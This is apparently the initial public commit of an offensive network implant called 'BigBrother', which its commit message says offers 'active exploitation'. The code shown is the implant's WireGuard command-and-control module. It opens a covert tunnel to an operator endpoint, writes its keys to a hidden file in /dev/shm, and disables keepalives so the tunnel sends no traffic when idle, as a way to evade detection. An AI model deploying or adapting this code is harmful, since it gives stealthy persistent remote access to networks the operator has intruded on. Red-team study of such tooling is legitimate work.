Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
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n0mad1k
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#!/usr/bin/env python3
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"""WireGuard module — primary C2 channel.
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Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0
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means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
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no coordination servers. The tunnel activates instantly when the operator
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sends a packet.
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"""
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import logging
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import os
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import subprocess
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import tempfile
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import time
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from pathlib import Path
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from typing import Optional
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from modules.base import BaseModule
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logger = logging.getLogger(__name__)
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WG_INTERFACE = "wg0"
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HEALTH_CHECK_TIMEOUT = 5 # seconds
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class WireGuard(BaseModule):
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"""Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""
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name = "wireguard"
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module_type = "connectivity"
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priority = -200
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requires_root = True
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def __init__(self, bus, state, config, engine=None):
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super().__init__(bus, state, config, engine)
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self._interface = WG_INTERFACE
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self._config_path: Optional[str] = None
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self._endpoint: Optional[str] = None
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self._peer_allowed_ips: Optional[str] = None
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self._connected = False
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# ------------------------------------------------------------------
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# BaseModule interface
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# ------------------------------------------------------------------
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def start(self) -> None:
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if self._running:
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return
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wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
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if not wg_cfg:
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logger.error("No wireguard config in bigbrother.yaml")
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self.state.set_module_status(self.name, "error")
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return
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self._endpoint = wg_cfg.get("endpoint")
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private_key_file = wg_cfg.get("private_key_file")
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peer_public_key = wg_cfg.get("peer_public_key")
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self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
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listen_port = wg_cfg.get("listen_port", 51820)
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address = wg_cfg.get("address", "10.0.0.2/24")
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if not all([self._endpoint, private_key_file, peer_public_key]):
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logger.error("wireguard config missing required fields: endpoint, "
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"private_key_file, peer_public_key")
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self.state.set_module_status(self.name, "error")
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return
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# Read private key
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try:
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private_key = Path(private_key_file).read_text().strip()
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except (OSError, IOError) as exc:
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logger.error("Cannot read WireGuard private key: %s", exc)
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self.state.set_module_status(self.name, "error")
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return
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# Write transient WireGuard config
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self._config_path = self._write_config(
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private_key=private_key,
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address=address,
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listen_port=listen_port,
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peer_public_key=peer_public_key,
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endpoint=self._endpoint,
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allowed_ips=self._peer_allowed_ips,
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)
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if not self.up():
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logger.error("Failed to bring up WireGuard interface")
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self.state.set_module_status(self.name, "error")
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return
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self._running = True
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self._pid = os.getpid()
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self._start_time = time.time()
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self._connected = True
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self.state.set_module_status(self.name, "running", pid=self._pid)
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self.bus.emit("CONNECTIVITY_CHANGED",
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{"module": self.name, "state": "up",
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"endpoint": self._endpoint},
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source_module=self.name)
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logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)
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def stop(self) -> None:
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if not self._running:
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return
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self.down()
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self._running = False
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self._connected = False
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# Cleanup transient config
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if self._config_path and os.path.isfile(self._config_path):
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try:
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os.unlink(self._config_path)
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except OSError:
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pass
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self.state.set_module_status(self.name, "stopped")
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self.bus.emit("CONNECTIVITY_CHANGED",
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{"module": self.name, "state": "down"},
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source_module=self.name)
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logger.info("WireGuard tunnel down")
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def status(self) -> dict:
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connected = self.is_connected()
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return {
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"running": self._running,
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"pid": self._pid,
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"uptime": time.time() - self._start_time if self._start_time else 0,
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"connected": connected,
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"endpoint": self._endpoint,
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"interface": self._interface,
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}
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def configure(self, config: dict) -> None:
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self.config.update(config)
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def health_check(self) -> bool:
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if not self._running:
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return False
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return self.is_connected()
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# ------------------------------------------------------------------
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# WireGuard operations
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# ------------------------------------------------------------------
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def up(self) -> bool:
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"""Create wg interface, apply config, bring up."""
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try:
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# Add WireGuard interface
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subprocess.run(
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["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
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check=True, capture_output=True, timeout=10,
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)
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except subprocess.CalledProcessError:
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# Interface may already exist — try to continue
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logger.debug("Interface %s may already exist, continuing", self._interface)
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try:
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# Apply WireGuard config
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subprocess.run(
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["wg", "setconf", self._interface, self._config_path],
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check=True, capture_output=True, timeout=10,
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)
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# Assign address from config
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wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
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address = wg_cfg.get("address", "10.0.0.2/24")
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subprocess.run(
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["ip", "addr", "add", address, "dev", self._interface],
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check=True, capture_output=True, timeout=10,
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)
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# Bring interface up
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subprocess.run(
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["ip", "link", "set", "up", "dev", self._interface],
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check=True, capture_output=True, timeout=10,
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)
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logger.info("WireGuard interface %s is up", self._interface)
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return True
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except subprocess.CalledProcessError as exc:
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logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
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self._cleanup_interface()
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return False
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except subprocess.TimeoutExpired:
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logger.error("WireGuard command timed out")
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self._cleanup_interface()
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return False
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def down(self) -> bool:
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"""Bring down and remove wg interface."""
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try:
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subprocess.run(
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["ip", "link", "set", "down", "dev", self._interface],
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capture_output=True, timeout=10,
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)
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subprocess.run(
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["ip", "link", "del", "dev", self._interface],
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capture_output=True, timeout=10,
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)
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logger.info("WireGuard interface %s removed", self._interface)
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return True
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except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
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logger.warning("Error tearing down WireGuard: %s", exc)
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return False
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def is_connected(self) -> bool:
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"""Check if WireGuard tunnel is active by pinging peer through tunnel."""
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if not self._running:
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return False
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try:
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result = subprocess.run(
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["wg", "show", self._interface, "latest-handshakes"],
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capture_output=True, text=True, timeout=5,
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)
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if result.returncode != 0:
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return False
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# Parse latest handshake timestamp — if it's 0 or missing, no peer
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for line in result.stdout.strip().splitlines():
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parts = line.split()
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if len(parts) >= 2:
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ts = int(parts[1])
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if ts > 0:
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# Handshake occurred — tunnel is alive
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return True
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# No handshake yet is OK — PersistentKeepalive=0 means tunnel is
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# dormant until operator connects. Interface being up is sufficient.
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iface_check = subprocess.run(
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["ip", "link", "show", self._interface],
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capture_output=True, timeout=5,
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)
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return iface_check.returncode == 0
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except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
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return False
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def get_endpoint(self) -> Optional[str]:
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"""Return the configured endpoint address."""
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return self._endpoint
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# ------------------------------------------------------------------
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# Internal helpers
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# ------------------------------------------------------------------
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def _write_config(self, private_key: str, address: str, listen_port: int,
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peer_public_key: str, endpoint: str,
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allowed_ips: str) -> str:
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"""Write a transient WireGuard config file and return its path."""
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config_content = (
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f"[Interface]\n"
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f"PrivateKey = {private_key}\n"
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f"ListenPort = {listen_port}\n"
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f"\n"
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f"[Peer]\n"
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f"PublicKey = {peer_public_key}\n"
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f"Endpoint = {endpoint}\n"
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f"AllowedIPs = {allowed_ips}\n"
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f"PersistentKeepalive = 0\n"
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)
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# Write to tmpfs if available, else /tmp
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tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
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config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")
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fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
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try:
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os.write(fd, config_content.encode())
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finally:
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os.close(fd)
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return config_path
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def _cleanup_interface(self) -> None:
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"""Best-effort cleanup of a partially-created interface."""
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try:
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subprocess.run(["ip", "link", "del", "dev", self._interface],
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capture_output=True, timeout=5)
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except Exception:
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pass
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